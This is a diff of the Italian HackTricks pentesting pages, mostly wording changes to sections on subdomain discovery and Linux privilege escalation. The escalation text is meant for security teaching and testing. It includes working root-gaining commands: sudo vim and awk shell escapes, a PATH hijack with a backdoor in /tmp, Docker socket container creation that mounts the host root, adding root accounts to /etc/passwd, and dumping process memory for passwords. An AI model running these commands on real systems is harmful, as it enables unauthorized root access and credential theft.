- Puoi ottenere le permutazioni di altdns **wordlist** in [**qui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -404,11 +401,15 @@ echo www | subzuf facebook.com
```
### **Flusso di lavoro per la scoperta di sottodomini**
Controlla questo post del blog che ho scritto su come **automatizzare la scoperta di sottodomini** da un dominio utilizzando **Trickest workflows** in modo da non dover avviare manualmente un sacco di strumenti sul mio computer:
Controlla questo post del blog che ho scritto su come **automatizzare la scoperta di sottodomini** da un dominio utilizzando **Trickest workflows** così non devo avviare manualmente un sacco di strumenti sul mio computer:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
{{#ref}}
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
{{#endref}}
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
{{#ref}}
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
{{#endref}}
### **VHosts / Host Virtuali**
@ -457,8 +458,8 @@ Puoi **monitorare** se vengono creati **nuovi subdomini** di un dominio monitora
Controlla possibili [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Se il **subdominio** sta puntando a qualche **S3 bucket**, [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/).
Se trovi un **subdominio con un IP diverso** da quelli che hai già trovato nella scoperta delle risorse, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
&#xNAN;_&#x4E;ota che a volte il subdominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._
Se trovi un **subdominio con un IP diverso** da quelli già trovati nella scoperta delle risorse, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
&#xNAN;_&#x4E;ote che a volte il subdominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._
## IPs
@ -477,13 +478,13 @@ Puoi anche controllare i domini che puntano a un indirizzo IP specifico utilizza
**Trova una** [**guida**](../pentesting-network/) **su come scansionare gli host.**
## Ricerca di server web
## Caccia ai server web
> Abbiamo trovato tutte le aziende e i loro asset e conosciamo gli intervalli di IP, domini e subdomini all'interno dell'ambito. È tempo di cercare server web.
Nei passaggi precedenti probabilmente hai già eseguito alcune **ricerche sugli IP e domini scoperti**, quindi potresti aver **già trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, ora vedremo alcuni **trucchi rapidi per cercare server web** all'interno dell'ambito.
Si prega di notare che questo sarà **orientato alla scoperta di web app**, quindi dovresti **eseguire la scansione delle vulnerabilità** e **scansione delle porte** anche (**se consentito** dall'ambito).
Si prega di notare che questo sarà **orientato alla scoperta di app web**, quindi dovresti **eseguire la scansione delle vulnerabilità** e **scansione delle porte** anche (**se consentito** dall'ambito).
Un **metodo veloce** per scoprire **porte aperte** relative ai **server** web utilizzando [**masscan** può essere trovato qui](../pentesting-network/#http-port-discovery).\
Un altro strumento amichevole per cercare server web è [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Devi solo passare un elenco di domini e cercherà di connettersi alla porta 80 (http) e 443 (https). Inoltre, puoi indicare di provare altre porte:
@ -493,7 +494,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
```
### **Screenshot**
Ora che hai scoperto **tutti i server web** presenti nell'ambito (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove iniziare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare endpoint **strani** che sono più **suscettibili** a essere **vulnerabili**.
Ora che hai scoperto **tutti i server web** presenti nell'ambito (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove iniziare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare **endpoint strani** che sono più **suscettibili** di essere **vulnerabili**.
Per eseguire l'idea proposta puoi usare [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
@ -550,7 +551,7 @@ Le perdite di credenziali sono correlate agli attacchi alle aziende in cui **inf
### Github Leaks
Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quell'azienda github.\
Puoi usare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repository pubblici** di un'**organizzazione** e dei suoi **sviluppatori** e eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente.
Puoi usare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repo pubblici** di un'**organizzazione** e dei suoi **sviluppatori** e eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente.
**Leakos** può anche essere usato per eseguire **gitleaks** contro tutto il **testo** fornito **URL passati** ad esso poiché a volte **le pagine web contengono anche segreti**.
@ -571,7 +572,7 @@ Puoi usare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos) per
I vecchi ma buoni google dorks sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di possibili query che non puoi eseguire manualmente. Quindi, puoi prendere le tue 10 preferite o puoi usare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirle tutte**.
_Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser Google non finiranno mai poiché google ti bloccherà molto molto presto._
_Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser Google non finiranno mai poiché Google ti bloccherà molto molto presto._
### **Cercare vulnerabilità**

118
src/linux-hardening/privilege-escalation/README.md
View File

@ -1,4 +1,4 @@
# Escalazione dei privilegi in Linux
# Linux Privilege Escalation
{{#include ../../banners/hacktricks-training.md}}
@ -12,9 +12,9 @@ Iniziamo a ottenere alcune informazioni sul SO in esecuzione
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
```
### Path
### Percorso
Se **hai permessi di scrittura su una qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari:
Se **hai permessi di scrittura su qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari:
```bash
echo $PATH
```
@ -73,7 +73,7 @@ Da @sickrov
```
sudo -u#-1 /bin/bash
```
### Dmesg verifica della firma fallita
### La verifica della firma Dmesg è fallita
Controlla **smasher2 box di HTB** per un **esempio** di come questa vulnerabilità potrebbe essere sfruttata
```bash
@ -140,7 +140,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```
## Software utili
Enumerare i binari utili
Elenca i binari utili
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
@ -186,10 +186,10 @@ Tuttavia, ricorda che **come utente normale puoi leggere la memoria dei processi
>
> Il file _**/proc/sys/kernel/yama/ptrace_scope**_ controlla l'accessibilità di ptrace:
>
> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere debugged, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava ptracing.
> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere debugged, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava il ptracing.
> - **kernel.yama.ptrace_scope = 1**: solo un processo padre può essere debugged.
> - **kernel.yama.ptrace_scope = 2**: solo l'amministratore può utilizzare ptrace, poiché richiede la capacità CAP_SYS_PTRACE.
> - **kernel.yama.ptrace_scope = 3**: Nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per abilitare nuovamente ptracing.
> - **kernel.yama.ptrace_scope = 3**: Nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per abilitare nuovamente il ptracing.
#### GDB
@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
Per un dato ID di processo, **maps mostra come la memoria è mappata all'interno dello spazio degli indirizzi virtuali di quel processo**; mostra anche le **permissive di ciascuna regione mappata**. Il **mem** pseudo file **espone la memoria dei processi stessi**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Utilizziamo queste informazioni per **cercare nel file mem e dumpare tutte le regioni leggibili** in un file.
Per un dato ID di processo, **maps mostra come la memoria è mappata all'interno dello spazio degli indirizzi virtuali di quel processo**; mostra anche le **permissive di ciascuna regione mappata**. Il **mem** pseudo file **espone la memoria dei processi stessi**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Utilizziamo queste informazioni per **cercare nel file mem e scaricare tutte le regioni leggibili** in un file.
```bash
procdump()
(
@ -266,17 +266,17 @@ Press Ctrl-C to end monitoring without terminating the process.
```
### Strumenti
Per eseguire il dump della memoria di un processo puoi usare:
Per estrarre la memoria di un processo puoi usare:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puoi rimuovere manualmente i requisiti di root e dumpare il processo di tua proprietà
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puoi rimuovere manualmente i requisiti di root ed estrarre il processo di tua proprietà
- Script A.5 da [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (è richiesto root)
### Credenziali dalla memoria del processo
#### Esempio manuale
Se scopri che il processo di autenticazione è in esecuzione:
Se scopri che il processo dell'autenticatore è in esecuzione:
```bash
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
@ -291,7 +291,7 @@ strings *.dump | grep -i password
Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **ruba le credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi di root per funzionare correttamente.
| Caratteristica | Nome Processo |
| --------------------------------------------------- | -------------------- |
| -------------------------------------------------- | -------------------- |
| Password GDM (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
@ -364,7 +364,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
Puoi monitorare i processi per cercare quelli che vengono eseguiti ogni 1, 2 o 5 minuti. Potresti approfittarne e aumentare i privilegi.
Ad esempio, per **monitorare ogni 0,1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare:
Ad esempio, per **monitorare ogni 0.1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare:
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
@ -405,7 +405,7 @@ Poi, crea un **eseguibile** con lo **stesso nome del percorso relativo del binar
## **Timer**
I **Timer** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file o eventi `**.service**`. I **Timer** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo calendario e eventi di tempo monotono e possono essere eseguiti in modo asincrono.
I **Timer** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file `**.service**` o eventi. I **Timer** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo del calendario e eventi di tempo monotono e possono essere eseguiti in modo asincrono.
Puoi enumerare tutti i timer con:
```bash
@ -446,7 +446,7 @@ I sockets possono essere configurati utilizzando file `.socket`.
**Scopri di più sui sockets con `man systemd.socket`.** All'interno di questo file, possono essere configurati diversi parametri interessanti:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma viene utilizzato un riepilogo per **indicare dove ascolterà** il socket (il percorso del file socket AF_UNIX, l'IPv4/6 e/o il numero di porta da ascoltare, ecc.)
- `Accept`: Accetta un argomento booleano. Se **vero**, una **istanza di servizio viene generata per ogni connessione in arrivo** e solo il socket di connessione viene passato ad essa. Se **falso**, tutti i sockets di ascolto stessi sono **passati all'unità di servizio avviata**, e solo un'unità di servizio viene generata per tutte le connessioni. Questo valore viene ignorato per i sockets datagram e le FIFO dove un'unica unità di servizio gestisce incondizionatamente tutto il traffico in arrivo. **Di default è falso**. Per motivi di prestazioni, si raccomanda di scrivere nuovi demoni solo in un modo adatto per `Accept=no`.
- `Accept`: Accetta un argomento booleano. Se **vero**, una **istanza di servizio viene generata per ogni connessione in arrivo** e solo il socket di connessione viene passato ad essa. Se **falso**, tutti i sockets di ascolto stessi sono **passati all'unità di servizio avviata**, e solo un'unità di servizio viene generata per tutte le connessioni. Questo valore viene ignorato per i sockets datagram e le FIFO dove un'unica unità di servizio gestisce incondizionatamente tutto il traffico in arrivo. **Di default è falso**. Per motivi di prestazioni, si raccomanda di scrivere nuovi demoni solo in un modo che sia adatto per `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Accetta una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **sockets**/FIFO di ascolto siano **creati** e legati, rispettivamente. Il primo token della riga di comando deve essere un nome di file assoluto, seguito da argomenti per il processo.
- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **sockets**/FIFO di ascolto siano **chiusi** e rimossi, rispettivamente.
- `Service`: Specifica il nome dell'unità di **servizio** **da attivare** sul **traffico in arrivo**. Questa impostazione è consentita solo per i sockets con Accept=no. Di default è il servizio che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione.
@ -489,7 +489,7 @@ Se il socket **risponde con una richiesta HTTP**, allora puoi **comunicare** con
### Socket Docker Scrivibile
Il socket Docker, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Avere accesso in scrittura a questo socket può portare a un'escalation di privilegi. Ecco una panoramica di come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile.
Il socket Docker, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Possedere accesso in scrittura a questo socket può portare a un'escalation di privilegi. Ecco una panoramica di come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile.
#### **Escalation di Privilegi con Docker CLI**
@ -510,7 +510,7 @@ Nei casi in cui il Docker CLI non sia disponibile, il socket Docker può comunqu
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
2. **Crea un container:** Invia una richiesta per creare un container che monta la directory radice del sistema host.
2. **Crea un container:** Invia una richiesta per creare un container che monta la directory root del sistema host.
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
@ -687,8 +687,8 @@ Se **conosci una password** dell'ambiente **prova a effettuare il login come ogn
### Su Brute
Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a forzare l'utente usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a forzare gli utenti.
Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a forzare l'accesso all'utente usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a forzare l'accesso agli utenti.
## Abusi del PATH scrivibile
@ -698,7 +698,7 @@ Se scopri che puoi **scrivere all'interno di una cartella del $PATH** potresti e
### SUDO e SUID
Potresti essere autorizzato a eseguire alcuni comandi usando sudo o potrebbero avere il bit suid. Controllalo usando:
Potresti essere autorizzato a eseguire alcuni comandi utilizzando sudo o potrebbero avere il bit suid. Controllalo usando:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
@ -720,7 +720,7 @@ $ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
In questo esempio, l'utente `demo` può eseguire `vim` come `root`, ora è ban
In questo esempio, l'utente `demo` può eseguire `vim` come `root`, ora è banale ottenere una shell aggiungendo una chiave ssh nella directory root o chiamando `sh`.
```
sudo vim -c '!sh'
```
@ -755,7 +755,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
```
**Contromisure**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
### Comando Sudo/Binario SUID senza percorso del comando
### Comando Sudo/Binary SUID senza percorso del comando
Se il **permesso sudo** è dato a un singolo comando **senza specificare il percorso**: _hacker10 ALL= (root) less_ puoi sfruttarlo cambiando la variabile PATH
```bash
@ -763,11 +763,11 @@ export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
Questa tecnica può essere utilizzata anche se un **suid** binary **esegue un altro comando senza specificare il percorso (controlla sempre con** _**strings**_ **il contenuto di un binary SUID strano)**.
Questa tecnica può essere utilizzata anche se un **suid** binary **esegue un altro comando senza specificare il percorso (controlla sempre con** _**strings**_ **il contenuto di un strano SUID binary)**.
[Esempi di payload da eseguire.](payloads-to-execute.md)
### Binary SUID con percorso del comando
### SUID binary con percorso del comando
Se il **suid** binary **esegue un altro comando specificando il percorso**, allora puoi provare a **esportare una funzione** chiamata come il comando che il file suid sta chiamando.
@ -784,8 +784,8 @@ La variabile di ambiente **LD_PRELOAD** viene utilizzata per specificare una o p
Tuttavia, per mantenere la sicurezza del sistema e prevenire che questa funzionalità venga sfruttata, in particolare con eseguibili **suid/sgid**, il sistema impone determinate condizioni:
- Il loader ignora **LD_PRELOAD** per eseguibili in cui l'ID utente reale (_ruid_) non corrisponde all'ID utente efficace (_euid_).
- Per eseguibili con suid/sgid, solo le librerie nei percorsi standard che sono anche suid/sgid vengono preloaded.
- Il loader ignora **LD_PRELOAD** per gli eseguibili in cui l'ID utente reale (_ruid_) non corrisponde all'ID utente efficace (_euid_).
- Per gli eseguibili con suid/sgid, solo le librerie nei percorsi standard che sono anche suid/sgid vengono preloaded.
L'escalation dei privilegi può verificarsi se hai la possibilità di eseguire comandi con `sudo` e l'output di `sudo -l` include l'affermazione **env_keep+=LD_PRELOAD**. Questa configurazione consente alla variabile di ambiente **LD_PRELOAD** di persistere e di essere riconosciuta anche quando i comandi vengono eseguiti con `sudo`, portando potenzialmente all'esecuzione di codice arbitrario con privilegi elevati.
```
@ -840,7 +840,7 @@ Quando si incontra un binario con permessi **SUID** che sembra insolito, è buon
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Nessun file o directory di questo tipo)"_ suggerisce un potenziale per sfruttare.
Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Nessun file o directory di questo tipo)"_ suggerisce un potenziale per l'exploitation.
Per sfruttare questo, si procederebbe creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il seguente codice:
```c
@ -888,7 +888,7 @@ Se ricevi un errore come
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
significa che la libreria che hai generato deve avere una funzione chiamata `a_function_name`.
ciò significa che la libreria che hai generato deve avere una funzione chiamata `a_function_name`.
### GTFOBins
@ -901,9 +901,13 @@ Il progetto raccoglie funzioni legittime di binari Unix che possono essere abusa
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://gtfoargs.github.io/" %}
{{#ref}}
https://gtfoargs.github.io/
{{#endref}}
### FallOfSudo
@ -930,12 +934,12 @@ bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
- Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **di proprietà di root con setuid**
- Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **possessa da root con setuid**
```bash
bash exploit_v2.sh
/tmp/sh -p
```
- Il **terzo exploit** (`exploit_v3.sh`) creerà un file sudoers che rende **eterni i token sudo e consente a tutti gli utenti di utilizzare sudo**
- Il **terzo exploit** (`exploit_v3.sh`) creerà un file sudoers che rende **i token sudo eterni e consente a tutti gli utenti di utilizzare sudo**
```bash
bash exploit_v3.sh
sudo su
@ -1020,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
Copiare la lib in `/var/tmp/flag15/` verrà utilizzata dal programma in questo luogo come specificato nella variabile `RPATH`.
Copiare la lib in `/var/tmp/flag15/` verrà utilizzato dal programma in questo luogo come specificato nella variabile `RPATH`.
```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
@ -1051,14 +1055,14 @@ Leggi la pagina seguente per **scoprire di più sulle capacità e su come abusar
linux-capabilities.md
{{#endref}}
## Permessi delle directory
## Permessi di directory
In una directory, il **bit per "eseguire"** implica che l'utente interessato può "**cd**" nella cartella.\
Il bit **"leggi"** implica che l'utente può **elencare** i **file**, e il bit **"scrivi"** implica che l'utente può **cancellare** e **creare** nuovi **file**.
Il **bit "leggi"** implica che l'utente può **elencare** i **file**, e il **bit "scrivi"** implica che l'utente può **cancellare** e **creare** nuovi **file**.
## ACL
Le Liste di Controllo degli Accessi (ACL) rappresentano il secondo livello di permessi discrezionali, capaci di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso ai file o alle directory consentendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità assicura una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**qui**](https://linuxconfig.org/how-to-manage-acls-on-linux).
Le Liste di Controllo degli Accessi (ACL) rappresentano il secondo livello di permessi discrezionali, capaci di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso ai file o alle directory consentendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**qui**](https://linuxconfig.org/how-to-manage-acls-on-linux).
**Dai** all'utente "kali" permessi di lettura e scrittura su un file:
```bash
@ -1071,10 +1075,10 @@ setfacl -b file.txt #Remove the ACL of the file
```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
## Apri sessioni shell
## Aprire sessioni shell
In **versioni vecchie** puoi **dirottare** alcune sessioni **shell** di un altro utente (**root**).\
Nelle **versioni più recenti** sarai in grado di **connetterti** solo alle sessioni screen del **tuo stesso utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**.
In **versioni vecchie** potresti **dirottare** alcune sessioni **shell** di un altro utente (**root**).\
Nelle **versioni più recenti** sarai in grado di **connetterti** solo alle sessioni screen del **tuo utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**.
### dirottamento delle sessioni screen
@ -1091,9 +1095,9 @@ screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
```
## dirottamento delle sessioni tmux
## hijacking delle sessioni tmux
Questo era un problema con **vecchie versioni di tmux**. Non sono riuscito a dirottare una sessione tmux (v2.1) creata da root come utente non privilegiato.
Questo era un problema con **vecchie versioni di tmux**. Non sono riuscito a hijackare una sessione tmux (v2.1) creata da root come utente non privilegiato.
**Elenca le sessioni tmux**
```bash
@ -1154,7 +1158,7 @@ Devi impostare questa opzione in `$HOME/.ssh.config` in questo modo:
Host example.com
ForwardAgent yes
```
Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quel host sarà in grado di accedere alle chiavi (il che è un problema di sicurezza).
Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quell'host sarà in grado di accedere alle chiavi (il che è un problema di sicurezza).
Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e consentire o negare questa configurazione.\
Il file `/etc/sshd_config` può **consentire** o **negare** il forwarding dell'ssh-agent con la parola chiave `AllowAgentForwarding` (il valore predefinito è consentito).
@ -1167,7 +1171,7 @@ ssh-forward-agent-exploitation.md
## File Interessanti
### File di profilo
### File di Profili
Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno di essi puoi escalare i privilegi**.
```bash
@ -1188,9 +1192,9 @@ In alcune occasioni puoi trovare **password hashes** all'interno del file `/etc/
```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
### Writable /etc/passwd
### Scrivibile /etc/passwd
Prima di tutto, genera una password con uno dei seguenti comandi.
Prima, genera una password con uno dei seguenti comandi.
```
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
@ -1202,9 +1206,9 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
Puoi ora utilizzare il comando `su` con `hacker:hacker`
Puoi ora usare il comando `su` con `hacker:hacker`
In alternativa, puoi utilizzare le seguenti righe per aggiungere un utente fittizio senza password.\
In alternativa, puoi usare le seguenti righe per aggiungere un utente fittizio senza password.\
ATTENZIONE: potresti degradare la sicurezza attuale della macchina.
```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
@ -1231,7 +1235,7 @@ Le seguenti cartelle potrebbero contenere backup o informazioni interessanti: **
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
### Posizioni strane/File di proprietà
### Posizione strana/File di proprietà
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
@ -1280,7 +1284,7 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null
```bash
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
```
### File conosciuti contenenti password
### File noti contenenti password
Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), cerca **diversi file possibili che potrebbero contenere password**.\
**Un altro strumento interessante** che puoi usare per farlo è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) che è un'applicazione open source utilizzata per recuperare molte password memorizzate su un computer locale per Windows, Linux e Mac.
@ -1288,7 +1292,7 @@ Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escala
### Log
Se puoi leggere i log, potresti essere in grado di trovare **informazioni interessanti/confidenziali al loro interno**. Più strano è il log, più interessante sarà (probabilmente).\
Inoltre, alcuni log di **audit** **"mal configurati"** (backdoored?) potrebbero permetterti di **registrare password** all'interno dei log di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
Inoltre, alcuni log di **audit** **"mal configurati"** (con backdoor?) potrebbero permetterti di **registrare password** all'interno dei log di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1308,22 +1312,22 @@ Per **leggere i log il gruppo** [**adm**](interesting-groups-linux-pe/#adm-group
```
### Generic Creds Search/Regex
